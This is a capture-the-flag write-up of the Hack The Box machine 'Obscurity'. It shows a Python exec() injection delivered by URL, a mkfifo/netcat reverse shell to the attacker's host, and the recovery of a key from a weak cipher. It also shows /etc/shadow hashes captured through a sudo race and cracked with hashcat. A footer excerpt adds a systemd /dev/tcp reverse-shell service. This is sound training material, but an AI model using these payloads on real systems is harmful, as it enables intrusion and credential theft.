Skip to main content

Hackthebox.eu - retired- obscurity


Hackthebox.eu - retired- obscurity


Recon


As is my custom I start with a simple up/down scan on all TCP ports to  see what we can find

nmap -T4 -p- -oX ./nmapb.xml 10.10.10.168

I then convert the XML to HTML to make it look pretty

Xsltproc /root/Desktop/HTB/obscurity/nmapb.xml -o /root/Desktop/HTB/obscurity/nmapb.html

So we have port 22 and 8080 open. Let's do another scan with -A to finger os/services

nmap -T4 -A -p22,8080 -oX ./nmapf.xml 10.10.10.168
Then I again convert to html with the same Xsltproc cmd



Port 33 is OpenSSH 7.6p1
Port 8080 is something named BadHTTPServer, I've never heard of that


Let's see what we get when we browse to 8080


We get a web page for a company name obscura. They brag about writing all their own software from scratch so there should be no existing exploits for them.

Here they left a message for their Dev's that the source code for the web server is called "SuperSecureServer.py" in the secret development directory. That is interesting they are hosting the source code somewhere on this site, if we can find that source code we can maybe find some way to exploit it.

Jimbo Kern Explanation GIF by South Park

Let's try to find it.

We know the name of the file just not the directory in which it's stored. Normally I would throw Dirbuster or drib but since this is a custom app they might not get back the expected data and not find the folder. This might be a job better suited to a fuzzer. After trying around with a couple I came across this

Fuzz faster u fool


So I downloaded the tool and gave it a go

If you use the FUZZ keyword it will fuzz in the location

# ./ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt  -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

So here are giving ffuf the dirbuster word list directory-list-2.3.small and setting the target to http://10.10.10.168:8080 and since we know the name of the file but not the folder let's use the keyword FUZZ for the directory and supplying the known file name at the end

It didn't take long to find the file

develop                 [Status: 200, Size: 5892, Words: 1806, Lines: 171]

So let's pull up the file and see what we get

Cool we found the source code!
Jake Gyllenhaal Part GIF
That's cool

I also found that there is a rudimentary file traversal on this system too

If we encoded / as %2f we can ../../../../ back to root and then try to find other files. If the file exists and is not txt file or another type in the mime type for the web server we get a 500 proving the file does exist on the system and a 404 when the file doesn't exist

Here is an example if we go to

We get this 404 since there is no file /etc/passwd111

But if we do

We get this instead. It seems to alternate in between connection reset and 500


Anyway, that was nice to see. I think we can move on to trying to exploit the SuperSecureSErver.py now



Exploit

So I'm okay with python, but I'm definitely not an expert. What do when looking through code is to see if there are comments and or strange things that we might use to leverage.

I'm not going to post all the code here but this is the part I focused on almost immediately
 def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:

This is the part of the code that is responsible to actually serving up the file ( hence the name serverDoc)

This part especially got my attention

        exec(info.format(path)) # This is how you do string formatting, right?

The comment is a pretty big clue that this is the exploitable bit of code.

If your not familiar with the exec() function in python have a read here:  https://www.programiz.com/python-programming/methods/built-in/exec

The gist is this whatever is in the exec() function will execute as a on the fly created python program

Another interesting part of this python program is it imports os
Which means it can make calls directly to the system within the code

So where is the path variable coming from? Its coming from the URL so we can manipulate this input.. Which is split out in a tuple earlier in the code thanks to urllib.parse: https://docs.python.org/3/library/urllib.parse.html

So to recap we have function that takes user input and on the fly writes its only little python program and the os is accessible directly through that input…

The Grinch Smiling GIF

Lets see if we can figure out a way to pass a call to the system.

Lets look at these lines at bit closer

  info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?


So there are setting a variable name info and prepending with the text "output = 'Document:{}'" 

*Notice the extra single quotes ' around Document:{}... that will be important in a minute

So if our URL was




Then if we follow the logic of the next two lines
info = "output = 'Document: {}'"
exec(info.format(path))

We would end up with something like this

exec(output = 'Document: http://127.0.0.1/somethinghere/index.html')

Still see those single quotes?

We need to escape them so we can execute a second bit of code here
If we send a single quote to escape the first single then we could use  the + to add an additional thing for the exec() function to run, but then we need to remember to stick the single quote back at the end in order for the code for operate 

So in pseudo it would look something like this

'+do what we what to do+'

This is pretty standard injection stuff, you see it also in SQL injection a lot so what can we do to make sure our code is actually executing……

How about a ping to our attack box? Remember this python program imports os so we can make direct system calls, so what if we sent the box this injection


'+os.system("ping -c1 10.10.14.12")+'

http://10.10.10.168:8080/'+os.system("ping -c1 10.10.14.12")+'

Theoretically that should ping our HTB Tun0 ip

So lets setup a listener to see if we can capture a ping

# tcpdump -i tun0 -n icmp


It worked!! We can inject whatever we want into the URL and it could potentially run directly on the system..

Now this next part took me forever. I kept not getting a shell back with netcat

Eventually if found this page with a bunch of different reverse shells to try

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

This utilizes mkfifo which is a named pipe to handle both the input and output of the shell

It's what ended up working for me.
But now we have to put it in our injection format

'+os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 4343 >/tmp/f")+'

Then combine that with the rest of the url and setup our listener

Our listener
# nc -lvp 4343


Payload with URL

http://10.10.10.168:8080/'+os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 4343 >/tmp/f")+'

Let's try it and see



All right we have a shell as www-data

Let's poke around and see what we can find

We can see a user dir
/home/robert

Passwordreminder.txt? That's interesting

$ cat ./passwordreminder.txt
ÑÈÌÉàÙÁÑ鯷¿k$

Looks like it might be encrypted. What about the other two txt files we can read

$ cat out.txt
¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v

$ cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!

Hmmm there is also this SuperSecureCrypt.py  I wonder if that is how they are encrypted the passwordreminder.txt and out.txt files

Here is some of the code
import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)

Let's focus on that Encrypt part to see if we can decipher it.

Ok it's taking a key and a file

Getting the ord() 

What the ord does is take an ascii character and gives you an integer representation of the Unicode.. Basically it just assigns a number value to a character.

For each character in the input file and the key

Then it adds the ord's together and modulo's it by 255 

Guess what modulo(ing) something by 255 does if the number is less than 255

NOTHING
George Costanza Nothing GIF

So as long as the result of the ord for the combination of both characters is less than 255 not a damn thing happens with that part of code(hint…. They do not)

So the encryption is pretty simple, take two characters convert them to a number value and add the numbers together and that is the "encrypted"  value which they then convert back to a character using chr() and storing the encrypted file


So how can we break this?

Well luckily they have an example setting on the server. There is the check.txt file and out.txt file assuming they used the same password to encrypt this as the passwordreminder.txt then we just need to find out the key they used to make the out.txt file from the check.txt file.

Here is what I did, found a python script online that will read a file each character at a time. I then modified it to print out the ords for each character




with open("filename") as fileobj: 
for line in fileobj: 
for ch in line: 
print ch

Had lots of problems getting the correct ord back when I save it locally. So I used SImpleHTTPServer to wget the python files on the server

Attack:  python -m SimpleHTTPServer 8080

Obs:  wget http://10.10.14.12:8080/checkit.py    *** this is for the checkfile
Obs:  wget http://10.10.14.12:8080/charit.py  *** this is for the out file

CHeckit.py
with open("/home/robert/check.txt") as fileobj:

    for line in fileobj:  

       for ch in line: 

           print ord(ch)
       

CharIT.py
with open("/home/robert/out.txt") as fileobj:

    for line in fileobj:  

       for ch in line: 

           print(ord(ch))
The output from check.txt **** edited for brevity

69 110 99 114 121 112 116 105 110 103 32 116 104

Output from out.tx  ****** edited for brevity        

166 218 200 234 218 222 216 219 221 221 137 215

Now I used excel to match them up and did =sum (a1-b1) to do the subtraction for me




Pretty quickly I noticed what should be the key is repeating… This is a good sign since the encryption code had it just cycle back over if the data was longer than the key

Let's get the chr for these values and see if we get the key


97 = a
108 = l
101 = e
120 = x
97 = a
110 = n
100 = d
114 = r
111 = o
118 = v
105 = i
99 = c
104 = h

Alexandrovich

So the key he used to encrypt the test file as alexandrovich

Now let's decyrpt his password reminder

python3 ./SuperSecureCrypt.py -i ./passwordreminder.txt -o /tmp/circusmonkey/decrypted.txt -d -k alexandrovich

Lets read the output file

cat /tmp/circusmonkey/decrypted.txt
SecThruObsFTW

So SecThruObsFTW is hopefully his password

Lets try it



Took Long Enough At Last GIF


Yeah lets get that user.txt
robert@obscure:~$ cat user.txt
e44**********************************



On to root

Lets check is sudo permissions
robert@obscure:~/BetterSSH$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Ok we can run this BetterSSH.py as root without a password let's see what it does

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1



Oooohhh look at that its writing part of the shadow file to a dir

   with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)

Let's break this down a bit


path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
Here it creates a random string

Then they write the shadow file to a directory /tmp/SSH/******
Then sleeps for .1 seconds…

Then it goes on to delete the file.

So we need to find a way to monitor /tmp/SSH and cat out any files that get generated there…

Luckily there is watch

So I'll start up a second ssh connection to the box to watch this file while I run the BetterSSH.py from the other


The first time I try to execute the BetterSSH.py I got this error
FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/ThW0WWNR'

A quick ls tells me there is no SSH folder in /tmp/

Let's make that for them


$ mkdir /tmp/SSH

On my second box I'm running 

watch -n 0.1 "cat *"

Which should watch that folder every .1 seconds and cat the contents

From the first SSH I run the program again.

I can see it flash on the second screen when it read the file but, it goes away to quickly to read it….

Let's see if we can find a way to write the output to a file

Tee for the win


Tee writes to both standard output and file. Let's leverage that.

watch -n 0.1 "cat * | tee -a /tmp/output"

Run the BetterSSH.py again and try root


robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root
Enter password: toor
Incorrect pass

Let's check our output file

robert@obscure:~/BetterSSH$ cat /tmp/output
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7

robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7

We got hashes!!!!!

Ending Season 1 GIF by ThePassageFOX

Let's see if we can break those hashes

I dropped this into a file named roothash on my attacking computer

$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1



Hashid says is a sha-512

Let's call upon our second favorite kali cat… hashcat





 hashcat -m 1800 -a0 ./roothash.txt /usr/share/wordlists/rockyou.txt -o ./cracked.txt --force --show

This site explains a little more on this process: https://samsclass.info/123/proj10/p12-hashcat.htm



Pretty quickly we get back the cracked password

cat ./cracked.txt 
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:mercedes

mercedes


We are unable to ssh with the root user, but as robert we can SU to root using this password
robert@obscure:~/BetterSSH$ su 
Password: 
root@obscure:/home/robert/BetterSSH# whoami
root

Now we just need root hash

root@obscure:/home/robert/BetterSSH# cat /root/root.txt 
51**********************************

Comedy Bang Bang GIF











Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The